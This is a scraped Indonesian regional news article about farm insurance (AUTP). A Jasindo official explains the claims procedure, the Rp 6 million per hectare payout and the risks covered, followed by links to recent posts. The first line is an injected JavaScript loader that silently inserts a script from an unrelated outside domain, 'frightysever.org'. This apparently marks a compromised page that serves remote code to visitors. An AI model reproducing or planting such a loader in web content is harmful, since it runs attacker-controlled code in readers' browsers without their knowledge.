(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Tak Perlu Takut Premi dan Klaim Berbelit


MARTAPURA, Berbicara tentang asuransi, asumsi khalayak tentu terefrensi pada dua hal. Premi dan klaimnya. Utamanya klaim asuransi yang cukup berbelit-belit dan perlu waktu lama acapkali membuat orang minder dan berpikir dua tiga kali untuk bergabung di asuransi. Tak terkecuali dengan Asuransi Usaha  Tani Pertanian (AUTP) yang  menyasar pangsa para petani.

Namun begitu menurut Herry, Kepala Unit Teknik Asuransi Jasindo, perusahaan asuransi yang ditunjuk pemerintah pusat sebagai pihak ketiga utuk program AUTP, petani tak pelu gusar dengan proses klaim jika gagal panen terjadi.

Karena menurutnya, prosedur klaim AUTP tak berbelit. Runut disebutkannya, jika terjadi gagal panen, petani cukup melaporkan gagal panen ke ketua atau pengurus kelompok tani. Dari kelompok tani, informasi gagal panen akan diteruskan ke petugas penyuluh lapangan yang akan melaporkannya ke pihak dinas terkait di tingkat kabupaten/kota.

Baca: Gagal Panen Diganti Rp 6 Juta Per Hektare, Tapi Petani Malah Kurang Minat

Dari dinas di tingkat kabupaten/kota, lanjutnya, yang akan melaporkannya ke pihak Asuransi Jasindo.

“Bermodal  laporan dari pihak dinas ditingakt kabupaten/kota, pihak Jasindo akan melakukan survey untuk menghitung luasan tanaman gagal panen,” kata Herry.

Hasil survey lokasi, kata Herry, akan dibuatkan berita acara. Dan maksimal 14 hari setelah berita acara hasil survei dibuat, klaim asuransi akan dicairkan sesuai luasan tanaman yang gagal panen. “Rp 6 juta per hektare,” ujarnya.

Dipaparkannya, AUTP menanggung gagal panen yang disebabkan banjir, kekeringan, dan organisme pengganggu tanaman (OPT) yakni hama dan penyakit tanaman. Di Kalsel, banjir dan hama tanaman jenis tikus menjadi penyebab gagal panen terbanyak. (rudiyanto)


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.